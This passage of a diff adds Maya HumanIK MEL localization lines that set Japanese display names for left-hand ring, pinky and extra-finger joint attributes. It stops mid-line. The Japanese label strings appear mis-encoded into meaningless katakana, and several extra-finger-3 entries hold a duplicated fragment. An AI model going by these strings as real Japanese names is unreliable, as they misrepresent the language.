+setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Tx", "ラハヨボテヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Ty", "ラハヨボテヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Tz", "ラハヨボテヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3R", "ラハヨボテヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Rx", "ラハヨボテヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Ry", "ラハヨボテヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Rz", "ラハヨボテヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3S", "ラハヨボテヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Sx", "ラハヨボテヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Sy", "ラハヨボテヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3Sz", "ラハヨボテヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PGX", "ラハヨボテヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3ROrder", "ラハヨボテヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3SC", "ラハヨボテヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3IS", "ラハヨボテヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3ISx", "ラハヨボテヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3ISy", "ラハヨボテヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3ISz", "ラハヨボテヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PreR", "ラハヨボテヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PreRx", "ラハヨボテヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PreRy", "ラハヨボテヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PreRz", "ラハヨボテヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PostR", "ラハヨボテヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PostRx", "ラハヨボテヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PostRy", "ラハヨボテヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing3PostRz", "ラハヨボテヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4T", "ラハヨボテヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Tx", "ラハヨボテヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Ty", "ラハヨボテヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Tz", "ラハヨボテヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4R", "ラハヨボテヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Rx", "ラハヨボテヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Ry", "ラハヨボテヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Rz", "ラハヨボテヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4S", "ラハヨボテヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Sx", "ラハヨボテヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Sy", "ラハヨボテヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4Sz", "ラハヨボテヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PGX", "ラハヨボテヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4ROrder", "ラハヨボテヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4SC", "ラハヨボテヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4IS", "ラハヨボテヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4ISx", "ラハヨボテヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4ISy", "ラハヨボテヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4ISz", "ラハヨボテヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PreR", "ラハヨボテヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PreRx", "ラハヨボテヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PreRy", "ラハヨボテヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PreRz", "ラハヨボテヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PostR", "ラハヨボテヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PostRx", "ラハヨボテヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PostRy", "ラハヨボテヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRing4PostRz", "ラハヨボテヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1T", "ラハヨミ。ヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Tx", "ラハヨミ。ヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Ty", "ラハヨミ。ヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Tz", "ラハヨミ。ヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1R", "ラハヨミ。ヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Rx", "ラハヨミ。ヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Ry", "ラハヨミ。ヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Rz", "ラハヨミ。ヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1S", "ラハヨミ。ヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Sx", "ラハヨミ。ヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Sy", "ラハヨミ。ヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1Sz", "ラハヨミ。ヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PGX", "ラハヨミ。ヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1ROrder", "ラハヨミ。ヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1SC", "ラハヨミ。ヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1IS", "ラハヨミ。ヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1ISx", "ラハヨミ。ヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1ISy", "ラハヨミ。ヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1ISz", "ラハヨミ。ヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PreR", "ラハヨミ。ヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PreRx", "ラハヨミ。ヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PreRy", "ラハヨミ。ヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PreRz", "ラハヨミ。ヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PostR", "ラハヨミ。ヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PostRx", "ラハヨミ。ヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PostRy", "ラハヨミ。ヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky1PostRz", "ラハヨミ。ヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2T", "ラハヨミ。ヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Tx", "ラハヨミ。ヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Ty", "ラハヨミ。ヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Tz", "ラハヨミ。ヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2R", "ラハヨミ。ヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Rx", "ラハヨミ。ヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Ry", "ラハヨミ。ヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Rz", "ラハヨミ。ヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2S", "ラハヨミ。ヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Sx", "ラハヨミ。ヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Sy", "ラハヨミ。ヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2Sz", "ラハヨミ。ヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PGX", "ラハヨミ。ヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2ROrder", "ラハヨミ。ヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2SC", "ラハヨミ。ヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2IS", "ラハヨミ。ヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2ISx", "ラハヨミ。ヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2ISy", "ラハヨミ。ヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2ISz", "ラハヨミ。ヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PreR", "ラハヨミ。ヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PreRx", "ラハヨミ。ヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PreRy", "ラハヨミ。ヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PreRz", "ラハヨミ。ヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PostR", "ラハヨミ。ヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PostRx", "ラハヨミ。ヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PostRy", "ラハヨミ。ヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky2PostRz", "ラハヨミ。ヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3T", "ラハヨミ。ヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Tx", "ラハヨミ。ヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Ty", "ラハヨミ。ヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Tz", "ラハヨミ。ヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3R", "ラハヨミ。ヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Rx", "ラハヨミ。ヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Ry", "ラハヨミ。ヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Rz", "ラハヨミ。ヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3S", "ラハヨミ。ヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Sx", "ラハヨミ。ヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Sy", "ラハヨミ。ヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3Sz", "ラハヨミ。ヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PGX", "ラハヨミ。ヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3ROrder", "ラハヨミ。ヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3SC", "ラハヨミ。ヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3IS", "ラハヨミ。ヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3ISx", "ラハヨミ。ヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3ISy", "ラハヨミ。ヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3ISz", "ラハヨミ。ヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PreR", "ラハヨミ。ヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PreRx", "ラハヨミ。ヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PreRy", "ラハヨミ。ヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PreRz", "ラハヨミ。ヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PostR", "ラハヨミ。ヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PostRx", "ラハヨミ。ヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PostRy", "ラハヨミ。ヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky3PostRz", "ラハヨミ。ヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4T", "ラハヨミ。ヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Tx", "ラハヨミ。ヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Ty", "ラハヨミ。ヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Tz", "ラハヨミ。ヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4R", "ラハヨミ。ヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Rx", "ラハヨミ。ヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Ry", "ラハヨミ。ヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Rz", "ラハヨミ。ヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4S", "ラハヨミ。ヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Sx", "ラハヨミ。ヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Sy", "ラハヨミ。ヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4Sz", "ラハヨミ。ヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PGX", "ラハヨミ。ヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4ROrder", "ラハヨミ。ヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4SC", "ラハヨミ。ヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4IS", "ラハヨミ。ヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4ISx", "ラハヨミ。ヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4ISy", "ラハヨミ。ヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4ISz", "ラハヨミ。ヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PreR", "ラハヨミ。ヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PreRx", "ラハヨミ。ヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PreRy", "ラハヨミ。ヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PreRz", "ラハヨミ。ヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PostR", "ラハヨミ。ヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PostRx", "ラハヨミ。ヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PostRy", "ラハヨミ。ヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPinky4PostRz", "ラハヨミ。ヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1T", "ラハヨチヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Tx", "ラハヨチヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Ty", "ラハヨチヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Tz", "ラハヨチヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1R", "ラハヨチヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Rx", "ラハヨチヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Ry", "ラハヨチヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Rz", "ラハヨチヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1S", "ラハヨチヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Sx", "ラハヨチヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Sy", "ラハヨチヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1Sz", "ラハヨチヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PGX", "ラハヨチヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", "ラハヨチヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1SC", "ラハヨチヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1IS", "ラハヨチヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1ISx", "ラハヨチヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1ISy", "ラハヨチヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1ISz", "ラハヨチヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PreR", "ラハヨチヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PreRx", "ラハヨチヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PreRy", "ラハヨチヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PreRz", "ラハヨチヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PostR", "ラハヨチヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PostRx", "ラハヨチヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PostRy", "ラハヨチヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger1PostRz", "ラハヨチヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2T", "ラハヨチヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Tx", "ラハヨチヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Ty", "ラハヨチヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Tz", "ラハヨチヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2R", "ラハヨチヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Rx", "ラハヨチヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Ry", "ラハヨチヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Rz", "ラハヨチヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2S", "ラハヨチヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Sx", "ラハヨチヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Sy", "ラハヨチヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2Sz", "ラハヨチヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PGX", "ラハヨチヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", "ラハヨチヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2SC", "ラハヨチヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2IS", "ラハヨチヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2ISx", "ラハヨチヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2ISy", "ラハヨチヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2ISz", "ラハヨチヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PreR", "ラハヨチヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PreRx", "ラハヨチヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PreRy", "ラハヨチヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PreRz", "ラハヨチヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PostR", "ラハヨチヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PostRx", "ラハヨチヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PostRy", "ラハヨチヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger2PostRz", "ラハヨチヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3T", "ラハヨチヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Tx", "ラハヨチヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Ty", "ラハヨチヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Tz", "ラハヨチヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3R", "ラハヨチヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Rx", "ラハヨチヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Ry", "ラハヨチヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Rz", "ラハヨチヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3S", "ラハヨチヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Sx", "ラハヨチヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Sy", "ラハヨチヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3Sz", "ラハヨチヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PGX", "ラハヨチヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", "ラハヨチヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3SC", "ラハヨチヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3IS", "ラハヨチヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3ISx", "ラハヨチヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3ISy", "ラハヨチヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3ISz", "ラハヨチヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PreR", "ラハヨチヨクハヨヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PreRx", "ラハヨチヨクハヨヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PreRy", "ラハヨチヨクハヨヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PreRz", "ラハヨチヨクハヨヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PostR", "ラハヨチヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PostRx", "ラハヨチヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PostRy", "ラハヨチヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger3PostRz", "ラハヨチヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4T", "ラハヨチヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Tx", "ラハヨチヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Ty", "ラハヨチヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Tz", "ラハヨチヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4R", "ラハヨチヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Rx", "ラハヨチヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Ry", "ラハヨチヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandExtraFinger4Rz", "ラハヨチヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", 